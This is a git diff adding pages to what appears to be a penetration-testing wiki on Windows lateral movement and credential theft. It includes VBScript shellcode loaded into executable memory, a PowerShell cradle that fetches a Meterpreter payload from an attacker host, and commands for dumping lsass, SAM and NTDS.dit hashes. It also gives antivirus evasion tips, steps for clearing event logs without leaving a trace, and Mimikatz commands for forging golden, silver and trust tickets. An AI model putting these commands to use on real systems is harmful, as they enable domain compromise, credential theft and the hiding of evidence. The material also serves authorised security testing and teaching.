+&H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _
+&H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _
+&H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _
+&H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _
+&H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _
+&H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05)
+
+scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
+
+For i =LBound(shellcode) to UBound(shellcode)
+    DX.NumPut shellcode(i),scLocation,i
+Next
+
+thread = DX.CreateThread (0,0,scLocation,0,0)
+```
+
+[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs)
+
+There might be many other ways in Windows. You never know! 🙂
+
+## References
+
+* [**https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/**](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)\*\*\*\*
+* [https://attack.mitre.org/techniques/T1187/](https://attack.mitre.org/techniques/T1187/)
+
diff --git a/windows/ntlm/psexec-and-winexec.md b/windows/ntlm/psexec-and-winexec.md
new file mode 100644
index 00000000000..e74340c0cd4
--- /dev/null
+++ b/windows/ntlm/psexec-and-winexec.md
@@ -0,0 +1,39 @@
+# PsExec/Winexec/ScExec
+
+## How do they work
+
+1. Copy a service binary to the ADMIN$ share over SMB
+2. Create a service on the remote machine pointing to the binary
+3. Remotely start the service
+4. When exited, stop the service and delete the binary
+
+## **Manually PsExec'ing**
+
+First let's assume we have a payload executable we generated with msfvenom and obfuscated with Veil \(so AV doesn't flag it\). In this case, I created a meterpreter reverse\_http payload and called it 'met8888.exe'
+
+**Copy the binary**. From our "jarrieta" command prompt, simply copy the binary to the ADMIN$. Really though, it could be copied and hidden anywhere on the filesystem.
+
+![](../../.gitbook/assets/copy_binary_admin.png)
+
+**Create a service**. The Windows `sc` command is used to query, create, delete, etc Windows services and can be used remotely. Read more about it [here](https://technet.microsoft.com/en-us/library/bb490995.aspx). From our command prompt, we'll remotely create a service called "meterpreter" that points to our uploaded binary:
+
+![](../../.gitbook/assets/sc_create.png)
+
+**Start the service**. The last step is to start the service and execute the binary. _Note:_ when the service starts it will "time-out" and generate an error. That's because our meterpreter binary isn't an actual service binary and won't return the expected response code. That's fine because we just need it to execute once to fire:
+
+![](../../.gitbook/assets/sc_start_error.png)
+
+If we look at our Metasploit listener, we'll see the session has been opened.
+
+**Clean the service.**
+
+![](../../.gitbook/assets/sc_delete.png)
+
+Extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+
+**You could also use the Windows Sysinternals binary PsExec.exe:**
+
+![](../../.gitbook/assets/image%20%28151%29.png)
+
+
+
diff --git a/windows/ntlm/smbexec.md b/windows/ntlm/smbexec.md
new file mode 100644
index 00000000000..2d911d8801c
--- /dev/null
+++ b/windows/ntlm/smbexec.md
@@ -0,0 +1,44 @@
+# SmbExec/ScExec
+
+## How does it works
+
+**Smbexec works like Psexec.** In this example**,** **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor.
+
+## **SMBExec**
+
+Let's see what happens when smbexec runs by looking at it from the attackers and target's side:
+
+![](../../.gitbook/assets/smbexec_prompt.png)
+
+So we know it creates a service "BTOBTO". But that service isn't present on the target machine when we do an `sc query`. The system logs reveal a clue to what happened:
+
+![](../../.gitbook/assets/smbexec_service.png)
+
+The Service File Name contains a command string to execute \(%COMSPEC% points to the absolute path of cmd.exe\). It echoes the command to be executed to a bat file, redirects the stdout and stderr to a Temp file, then executes the bat file and deletes it. Back on Kali, the Python script then pulls the output file via SMB and displays the contents in our "pseudo-shell". For every command we type into our "shell", a new service is created and the process is repeated. This is why it doesn't need to drop a binary, it just executes each desired command as a new service. Definitely more stealthy, but as we saw, an event log is created for every command executed. Still a very clever way to get a non-interactive "shell"!
+
+## Manual SMBExec
+
+**Or executing commands via services**
+
+As smbexec demonstrated, it's possible to execute commands directly from service binPaths instead of needing a binary. This can be a useful trick to keep in your back pocket if you need to just execute one arbitrary command on a target Windows machine. As a quick example, let's get a Meterpreter shell using a remote service _without_ a binary.
+
+We'll use Metasploit's `web_delivery` module and choose a PowerShell target with a reverse Meterpreter payload. The listener is set up and it tells us the command to execute on the target machine:
+
+```text
+powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');  
+```
+
+From our Windows attack box, we create a remote service \("metpsh"\) and set the binPath to execute cmd.exe with our payload:
+
+![](../../.gitbook/assets/sc_psh_create.png)
+
+And then start it:
+
+![](../../.gitbook/assets/sc_psh_start.png)
+
+It errors out because our service doesn't respond, but if we look at our Metasploit listener we see that the callback was made and the payload executed.
+
+
+
+All the info was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+
diff --git a/windows/ntlm/winrm.md b/windows/ntlm/winrm.md
new file mode 100644
index 00000000000..e2aae244a45
--- /dev/null
+++ b/windows/ntlm/winrm.md
@@ -0,0 +1,4 @@
+# WinRM
+
+For information about ****[**WinRM read this page**](../../pentesting/5985-5986-pentesting-winrm.md).
+
diff --git a/windows/ntlm/wmicexec.md b/windows/ntlm/wmicexec.md
new file mode 100644
index 00000000000..624d99a5ded
--- /dev/null
+++ b/windows/ntlm/wmicexec.md
@@ -0,0 +1,145 @@
+# WmicExec
+
+## How Does it works
+
+Wmi allows to open process in hosts where you know username/\(password/Hash\). Then, Wmiexec uses wmi to execute each command that is asked to execute \(this is why Wmicexec gives you semi-interactive shell\).
+
+**dcomexec.py:** This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints \(ShellBrowserWindow DCOM object\). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. \(from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)\)
+
+## WMI Basics
+
+### Namespace
+
+WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These "directory paths" are called namespaces.  
+List namespaces:
+
+```bash
+#Get Root namespaces
+gwmi -namespace "root" -Class "__Namespace" | Select Name
+
+#List all namespaces (you may need administrator to list all of them)
+Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
+
+#List namespaces inside "root\cimv2"
+Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
+```
+
+List classes of a namespace with:
+
+```bash
+gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
+gwmi -Namespace "root/microsoft" -List -Recurse
+```
+
+### **Classes**
+
+The WMI class name eg: win32\_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located.  
+List classes starting with `win32`:
+
+```bash
+Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
+gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
+```
+
+Call a class:
+
+```bash
+#When you don't specify a namespaces by default is "root/cimv2"
+Get-WmiObject -Class win32_share
+Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
+```
+
+### Methods
+
+WMI classes have one or more functions that can be executed. These functions are called methods.
+
+```bash
+#Load a class using [wmiclass], leist methods and call one
+$c = [wmiclass]"win32_share"
+$c.methods
+#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
+$c.Create("c:\share\path","name",0,$null,"My Description")
+#If returned value is "0", then it was successfully executed
+```
+
+```bash
+#List methods
+Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
+#Call create method from win32_share class
+Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
+```
+
+## WMI Enumeration
+
+### Check WMI service
+
+This how you can check if WMI service is running:
+
+```bash
+#Check if WMI service is running
+Get-Service Winmgmt
+Status   Name               DisplayName
+------   ----               -----------
+Running  Winmgmt            Windows Management Instrumentation
+
+#From CMD
+net start | findstr "Instrumentation"
+```
+
+### System Information
+
+```bash
+Get-WmiObject -ClassName win32_operatingsystem | select * | more
+```
+
+### Process Information
+
+```bash
+Get-WmiObject win32_process | Select Name, Processid
+```
+
+From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.
+
+```text
+wmic computerystem list full /format:list  
+wmic process list /format:list  
+wmic ntdomain list /format:list  
+wmic useraccount list /format:list  
+wmic group list /format:list  
+wmic sysaccount list /format:list  
+```
+
+```bash
+ Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
+```
+
+## **Manual Remote WMI Querying**
+
+For example, here's a very stealthy way to discover local admins on a remote machine \(note that domain is the computer name\):
+
+```bash
+wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")  
+```
+
+Another useful oneliner is to see who is logged on to a machine \(for when you're hunting admins\):
+
+```text
+wmic /node:ordws01 path win32_loggedonuser get antecedent  
+```
+
+`wmic` can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:
+
+```text
+wmic /node:@workstations.txt path win32_loggedonuser get antecedent  
+```
+
+**We'll remotely create a process over WMI to execute a Empire agent:**
+
+```bash
+wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"  
+```
+
+We see it executed successfully \(ReturnValue = 0\). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.
+
+All this information was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+
diff --git a/windows/stealing-credentials/README.md b/windows/stealing-credentials/README.md
new file mode 100644
index 00000000000..14c4c621e1c
--- /dev/null
+++ b/windows/stealing-credentials/README.md
@@ -0,0 +1,283 @@
+# Stealing Credentials
+
+## Credentials Mimikatz
+
+```bash
+#Elevate Privileges to extract the credentials
+privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
+token::elevate
+#Extract from lsass (memory)
+sekurlsa::logonpasswords
+#Extract from SAM
+lsadump::sam
+#One liner
+mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
+```
+
+**Find other things that Mimikatz can do in** [**this page**](credentials-mimikatz.md)**.**
+
+### Invoke-Mimikatz
+
+```bash
+IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
+Invoke-Mimikatz -DumpCreds #Dump creds from memory
+Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
+```
+
+[**Learn about some possible credentials protections here.**](credentials-protections.md) **This protections could prevent Mimikatz from extracting some credentials.**
+
+## Credentials with Meterpreter
+
+Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim.
+
+```bash
+#Credentials from SAM
+post/windows/gather/smart_hashdump
+hashdump
+
+#Using kiwi module
+load kiwi
+creds_all
+kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"
+
+#Using Mimikatz module
+load mimikatz
+mimikatz_command -f "sekurlsa::logonpasswords"
+mimikatz_command -f "lsadump::sam"
+```
+
+## Bypassing AV
+
+### Procdump + Mimikatz
+
+As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender.   
+You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump.
+
+{% code title="Dump lsass" %}
+```bash
+#Local
+C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
+#Remote, mount https://live.sysinternals.com which contains procdump.exe
+net use Z: https://live.sysinternals.com
+Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
+```
+{% endcode %}
+
+{% code title="Extract credentials from the dump" %}
+```c
+//Load the dump
+mimikatz # sekurlsa::minidump lsass.dmp
+//Extract credentials
+mimikatz # sekurlsa::logonPasswords
+```
+{% endcode %}
+
+This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
+
+**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead o**f the **name lsass.exe.**
+
+### Dumping lsass with **comsvcs.dll**
+
+There’s a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function** called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`.  
+The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice.  
+Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file.  
+Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. \(This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)\)
+
+```text
+rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
+```
+
+We just have to keep in mind that this technique can only be executed as **SYSTEM**.
+
+**You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.**
+
+## CrackMapExec
+
+### Dump SAM hashes
+
+```text
+cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
+```
+
+### Dump LSA secrets
+
+```text
+cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
+```
+
+### Dump the NTDS.dit from target DC
+
+```text
+cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
+#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
+```
+
+### Dump the NTDS.dit password history from target DC 
+
+```text
+#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
+```
+
+### Show the pwdLastSet attribute for each NTDS.dit account
+
+```text
+#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
+```
+
+## Stealing SAM & SYSTEM
+
+This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected.
+
+### From Registry
+
+The easiest way to steal those files is to get a copy from the registry:
+
+```text
+reg save HKLM\sam sam
+reg save HKLM\system system
+reg save HKLM\security security
+```
+
+**Download** those files to your Kali machine and **extract the hashes** using:
+
+```text
+samdump2 SYSTEM SAM
+impacket-secretsdump -sam sam -security security -system system LOCAL
+```
+
+### Volume Shadow Copy
+
+You can perform copy of protected files using this service. You need to be Administrator.
+
+#### Using vssadmin
+
+vssadmin binary is only available in Windows Server versions
+
+```bash
+vssadmin create shadow /for=C:
+#Copy SAM
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
+#Copy SYSTEM
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
+#Copy ntds.dit
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
+
+# You can also create a symlink to the shadow copy and access it
+mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
+```
+
+But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** \(the hard drive used is "C:" and its saved to C:\users\Public\) but you can use this for copying any protected file:
+
+```bash
+$service=(Get-Service -name VSS)
+if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
+$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
+$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
+cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
+$voume.Delete();if($notrunning -eq 1){$service.Stop()}
+```
+
+Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
+
+### Invoke-NinjaCopy
+
+Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit.
+
+```bash
+Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
+```
+
+## **Active Directory Credentials - NTDS.dit**
+
+**The Ntds.dit file is a database that stores Active Directory data**, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.
+
+The important NTDS.dit file will be **located in**: _%SystemRoom%/NTDS/ntds.dit_  
+This file is a database _Extensible Storage Engine_ \(ESE\) and is "officially" composed by 3 tables:
+
+* **Data Table**: Contains the information about the objects \(users, groups...\)
+* **Link Table**: Information about the relations \(member of...\)
+* **SD Table**: Contains the security descriptors of each object
+
+More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
+
+Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the** _**lsass**_ **memory** \(you can find the lastet accessed data probably because of the performance impruve by using a **cache**\).
+
+#### Decrypting the hashes inside NTDS.dit
+
+The hash is cyphered 3 times:
+
+1. Decrypt Password Encryption Key \(**PEK**\) using the **BOOTKEY** and **RC4**.
+2. Decrypt tha **hash** using **PEK** and **RC4**.
+3. Decrypt the **hash** using **DES**.
+
+**PEK** have the **same value** in **every domain controller**, but it is **cyphered** inside the **NTDS.dit** file using the **BOOTKEY** of the **SYSTEM file of the domain controller \(is different between domain controllers\)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM** \(_C:\Windows\System32\config\SYSTEM_\).
+
+### Copying NTDS.dit using Ntdsutil
+
+Available since Windows Server 2008.
+
+```bash
+ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
+```
+
+You could also use the [**volume shadow copy**](./#stealing-sam-and-system) ****trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** \(again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) ****trick\).
+
+### **Extracting hashes from NTDS.dit**
+
+Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**:
+
+```bash
+secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
+```
+
+You can also **extract them automatically** using a valid domain admin user:
+
+```text
+secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
+```
+
+For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump).
+
+Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain\_hashdump_ or **mimikatz** `lsadump::lsa /inject` 
+
+## Lazagne
+
+Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software.
+
+```text
+lazagne.exe all
+```
+
+## Other tools for extracting credentials from SAM and LSASS
+
+### Windows credentials Editor \(WCE\)
+
+This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
+
+### fgdump
+
+Extract credentials from the SAM file
+
+```text
+You can find this binary inside Kali, just do: locate fgdump.exe
+fgdump.exe
+```
+
+### PwDump
+
+Extract credentials from the SAM file
+
+```text
+You can find this binary inside Kali, just do: locate pwdump.exe
+PwDump.exe -o outpwdump -x 127.0.0.1
+type outpwdump
+```
+
+### PwDump7
+
+Download it from:[ http://www.tarasco.org/security/pwdump\_7](%20http://www.tarasco.org/security/pwdump_7) and just **execute it** and the passwords will be extracted.
+
+## Defenses
+
+\*\*\*\*[**Learn about some credentials protections here.**](credentials-protections.md)\*\*\*\*
+
diff --git a/windows/stealing-credentials/credentials-mimikatz.md b/windows/stealing-credentials/credentials-mimikatz.md
new file mode 100644
index 00000000000..ae4b5002205
--- /dev/null
+++ b/windows/stealing-credentials/credentials-mimikatz.md
@@ -0,0 +1,320 @@
+# Mimikatz
+
+The content of this page was copied [adsecurity.org](https://adsecurity.org/?page_id=1821)
+
+## LM and Clear-Text in memory
+
+Starting with Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory.
+
+In order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” \(Digest Disabled\):
+
+_HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”\(DWORD\)_
+
+## **Mimikatz & LSA Protection:**
+
+Windows Server 2012 R2 and Windows 8.1 includes a new feature called LSA Protection which involves enabling [LSASS as a protected process on Windows Server 2012 R2](https://technet.microsoft.com/en-us/library/dn408187.aspx) \(Mimikatz can bypass with a driver, but that should make some noise in the event logs\):
+
+_The LSA, which includes the Local Security Authority Server Service \(LSASS\) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages._
+
+Enabling LSA protection:
+
+1. Open the Registry Editor \(RegEdit.exe\), and navigate to the registry key that is located at: HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa and Set the value of the registry key to: “RunAsPPL”=dword:00000001.
+2. Create a new GPO and browse to Computer Configuration, Preferences, Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY\_LOCAL\_MACHINE. In the Key Path list, browse to SYSTEM\CurrentControlSet\Control\Lsa.  In the Value name box, type RunAsPPL. In the Value type box, click the REG\_DWORD. In the Value data box, type 00000001.Click OK.
+
+LSA Protection prevents non-protected processes from interacting with LSASS. Mimikatz can still bypass this with a driver \(“!+”\).
+
+[![Mimikatz-Driver-Remove-LSASS-Protection](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Driver-Remove-LSASS-Protection.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Driver-Remove-LSASS-Protection.jpg)
+
+## Main
+
+### **EVENT**
+
+**EVENT::Clear** – Clear an event log  
+[  
+![Mimikatz-Event-Clear](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Clear.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Clear.png)
+
+**EVENT:::Drop** – \(_**experimental**_\) Patch Events service to avoid new events
+
+[![Mimikatz-Event-Drop](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Drop.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Drop.png)
+
+Note:  
+Run privilege::debug then event::drop to patch the event log.  Then run Event::Clear to clear the event log without any log cleared event \(1102\) being logged.
+
+### KERBEROS
+
+#### Golden Ticket
+
+A Golden Ticket is a TGT using the KRBTGT NTLM password hash to encrypt and sign.
+
+A Golden Ticket \(GT\) can be created to impersonate any user \(real or imagined\) in the domain as a member of any group in the domain \(providing a virtually unlimited amount of rights\) to any and every resource in the domain.
+
+**Mimikatz Golden Ticket Command Reference:**
+
+The Mimikatz command to create a golden ticket is “kerberos::golden”
+
+* /domain – the fully qualified domain name. In this example: “lab.adsecurity.org”.
+* /sid – the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127”.
+* /sids – Additional SIDs for accounts/groups in the AD forest with rights you want the ticket to spoof. Typically, this will be the Enterprise Admins group for the root domain  “S-1-5-21-1473643419-774954089-5872329127-519”. T[his parameter adds the provided SIDs to the SID History parameter.](https://adsecurity.org/?p=1640)
+* /user – username to impersonate
+* /groups \(optional\) – group RIDs the user is a member of \(the first is the primary group\). Add user or computer account RIDs to receive the same access. Default Groups: 513,512,520,518,519 for the well-known Administrator’s groups \(listed below\).
+* /krbtgt – NTLM password hash for the domain KDC service account \(KRBTGT\). Used to encrypt and sign the TGT.
+* /ticket \(optional\) – provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
+* /ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.
+* /id \(optional\) – user RID. Mimikatz default is 500 \(the default Administrator account RID\).
+* /startoffset \(optional\) – the start offset when the ticket is available \(generally set to –10 or 0 if this option is used\). Mimikatz Default value is 0.
+* /endin \(optional\) – ticket lifetime. Mimikatz Default value is 10 years \(~5,262,480 minutes\). Active Directory default Kerberos policy setting is 10 hours \(600 minutes\).
+* /renewmax \(optional\) – maximum ticket lifetime with renewal. Mimikatz Default value is 10 years \(~5,262,480 minutes\). Active Directory default Kerberos policy setting is 7 days \(10,080 minutes\).
+* /sids \(optional\) – set to be the SID of the Enterprise Admins group in the AD forest \(\[ADRootDomainSID\]-519\) to spoof Enterprise Admin rights throughout the AD forest \(AD admin in every domain in the AD Forest\).
+* /aes128 – the AES128 key
+* /aes256 – the AES256 key
+
+Golden Ticket Default Groups:
+
+* Domain Users SID: S-1-5-21&lt;DOMAINID&gt;-513
+* Domain Admins SID: S-1-5-21&lt;DOMAINID&gt;-512
+* Schema Admins SID: S-1-5-21&lt;DOMAINID&gt;-518
+* Enterprise Admins SID: S-1-5-21&lt;DOMAINID&gt;-519  \(this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights\)
+* Group Policy Creator Owners SID: S-1-5-21&lt;DOMAINID&gt;-520
+
+```text
+.\mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
+```
+
+[Golden tickets across domains](https://adsecurity.org/?p=1640)
+
+#### Silver Ticket
+
+A Silver Ticket is a TGS \(similar to TGT in format\) using the target service account’s \(identified by SPN mapping\) NTLM password hash to encrypt and sign.
+
+**Example Mimikatz Command to Create a Silver Ticket:**
+
+The following Mimikatz command creates a Silver Ticket for the CIFS service on the server adsmswin2k8r2.lab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain dump or by running Mimikatz on the local system as shown above \(_Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit_\). The NTLM password hash is used with the /rc4 paramteer. The service SPN type also needs to be identified in the /service parameter. Finally, the target computer’s fully-qualified domain name needs to be provided in the /target parameter. Don’t forget the domain SID in the /sid parameter.
+
+```text
+mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
+```
+
+#### \*\*\*\*[**Trust Ticket**](https://adsecurity.org/?p=1588)\*\*\*\*
+
+Once the Active Directory Trust password hash is determined, a trust ticket can be generated. The trust tickets are created using the shared password between 2 Domains that trust each other.  
+****[More background on Trust Tickets.](https://adsecurity.org/?p=1588)
+
+**Dumping trust passwords \(trust keys\)**
+
+```text
+Mimikatz “privilege::debug” “lsadump::trust /patch” exit
+```
+
+**Create a forged trust ticket \(inter-realm TGT\) using Mimikatz**
+
+Forge the trust ticket which states the ticket holder is an Enterprise Admin in the AD Forest \(leveraging SIDHistory, “sids”, across trusts in Mimikatz, my “contribution” to Mimikatz\). This enables full administrative access from a child domain to the parent domain. Note that this account doesn’t have to exist anywhere as it is effectively a Golden Ticket across the trust.
+
+```text
+Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit
+```
+
+Trust Ticket Specific Required Parameters:
+
